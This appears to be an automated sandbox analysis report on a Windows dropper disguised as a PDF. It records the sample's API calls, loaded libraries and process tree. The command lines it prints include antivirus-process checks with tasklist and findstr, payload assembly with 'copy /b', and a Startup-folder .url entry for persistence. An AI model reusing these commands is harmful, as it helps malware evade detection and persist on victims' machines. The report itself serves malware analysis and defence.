Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0078D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		17_2_0078D164

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: scan_doc_zapit_836893.pdf.exe

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AE42D5: CreateFileW,DeviceIoControl,CloseHandle,

11_2_00AE42D5

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AD8F2E _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

11_2_00AD8F2E

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,	0_2_00403883
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AE5778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	11_2_00AE5778
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00765778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	17_2_00765778

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

File created: C:\Windows\GccIncluded

Jump to behavior

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00A8B020	11_2_00A8B020
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00A894E0	11_2_00A894E0
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00A89C80	11_2_00A89C80
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AA23F5	11_2_00AA23F5
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00B08400	11_2_00B08400
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AB6502	11_2_00AB6502
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00A8E6F0	11_2_00A8E6F0
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AB265E	11_2_00AB265E
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AA282A	11_2_00AA282A
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AB89BF	11_2_00AB89BF
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00B00A3A	11_2_00B00A3A
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AB6A74	11_2_00AB6A74
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00A90BE0	11_2_00A90BE0
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00ADEDB2	11_2_00ADEDB2
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AACD51	11_2_00AACD51
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00B00EB7	11_2_00B00EB7
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AE8E44	11_2_00AE8E44
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AB6FE6	11_2_00AB6FE6
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AA33B7	11_2_00AA33B7
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AAF409	11_2_00AAF409
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00A9D45D	11_2_00A9D45D
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00A8F6A0	11_2_00A8F6A0
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AA16B4	11_2_00AA16B4
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00A9F628	11_2_00A9F628
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00A81663	11_2_00A81663
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AA78C3	11_2_00AA78C3
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AA1BA8	11_2_00AA1BA8
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AADBA5	11_2_00AADBA5
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AB9CE5	11_2_00AB9CE5
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00A9DD28	11_2_00A9DD28
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AA1FC0	11_2_00AA1FC0
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AABFD6	11_2_00AABFD6
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0070B020	17_2_0070B020
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_007094E0	17_2_007094E0
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00709C80	17_2_00709C80
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_007223F5	17_2_007223F5
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00788400	17_2_00788400
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00736502	17_2_00736502
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0073265E	17_2_0073265E
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0070E6F0	17_2_0070E6F0
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0072282A	17_2_0072282A
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_007389BF	17_2_007389BF
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00736A74	17_2_00736A74
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00780A3A	17_2_00780A3A
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00710BE0	17_2_00710BE0
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0072CD51	17_2_0072CD51
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0075EDB2	17_2_0075EDB2
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00768E44	17_2_00768E44
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00780EB7	17_2_00780EB7
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00736FE6	17_2_00736FE6
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_007233B7	17_2_007233B7
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0071D45D	17_2_0071D45D
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0072F409	17_2_0072F409
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00701663	17_2_00701663
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0071F628	17_2_0071F628
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_007216B4	17_2_007216B4
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0070F6A0	17_2_0070F6A0
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_007278C3	17_2_007278C3
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0072DBA5	17_2_0072DBA5
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00721BA8	17_2_00721BA8
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00739CE5	17_2_00739CE5
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0071DD28	17_2_0071DD28
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0072BFD6	17_2_0072BFD6
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00721FC0	17_2_00721FC0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\185027\Spy.pif D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD

Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: String function: 00728B30 appears 42 times
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: String function: 00711A36 appears 34 times
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: String function: 00720D17 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: String function: 00A91A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: String function: 00AA0D17 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: String function: 00AA8B30 appears 42 times
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Code function: String function: 004062A3 appears 57 times

Source: scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000291B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAutoIt3.exeB vs scan_doc_zapit_836893.pdf.exe
Source: scan_doc_zapit_836893.pdf.exe, 00000000.00000002.2163034210.0000000000722000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs scan_doc_zapit_836893.pdf.exe

Source: scan_doc_zapit_836893.pdf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal92.expl.evad.winEXE@28/17@2/0

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AEA6AD GetLastError,FormatMessageW,

11_2_00AEA6AD

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AD8DE9 AdjustTokenPrivileges,CloseHandle,	11_2_00AD8DE9
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AD9399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	11_2_00AD9399
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00758DE9 AdjustTokenPrivileges,CloseHandle,	17_2_00758DE9
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00759399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	17_2_00759399

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AE4148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

11_2_00AE4148

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AE443D __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

11_2_00AE443D

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

File created: C:\Users\user\AppData\Local\NanoSec Cryptographics

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2360:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3892:120:WilError_03

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

File created: C:\Users\user\AppData\Local\Temp\nsn992B.tmp

Jump to behavior

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Yes Yes.bat & Yes.bat

Source: scan_doc_zapit_836893.pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

File read: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe "C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe"
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Yes Yes.bat & Yes.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 185027
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "venezuelalandscapesmeantposters" Tournaments
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Martin + ..\Organizing + ..\Finnish + ..\Determined + ..\Already + ..\Presentations + ..\Hint H
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\185027\Spy.pif Spy.pif H
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url" & echo URL="C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr "C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr" "C:\Users\user\AppData\Local\NanoSec Cryptographics\o"
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Yes Yes.bat & Yes.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 185027	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "venezuelalandscapesmeantposters" Tournaments	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Martin + ..\Organizing + ..\Finnish + ..\Determined + ..\Already + ..\Presentations + ..\Hint H	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\185027\Spy.pif Spy.pif H	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url" & echo URL="C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url" & exit	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr "C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr" "C:\Users\user\AppData\Local\NanoSec Cryptographics\o"	Jump to behavior

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: wshbth.dll	Jump to behavior
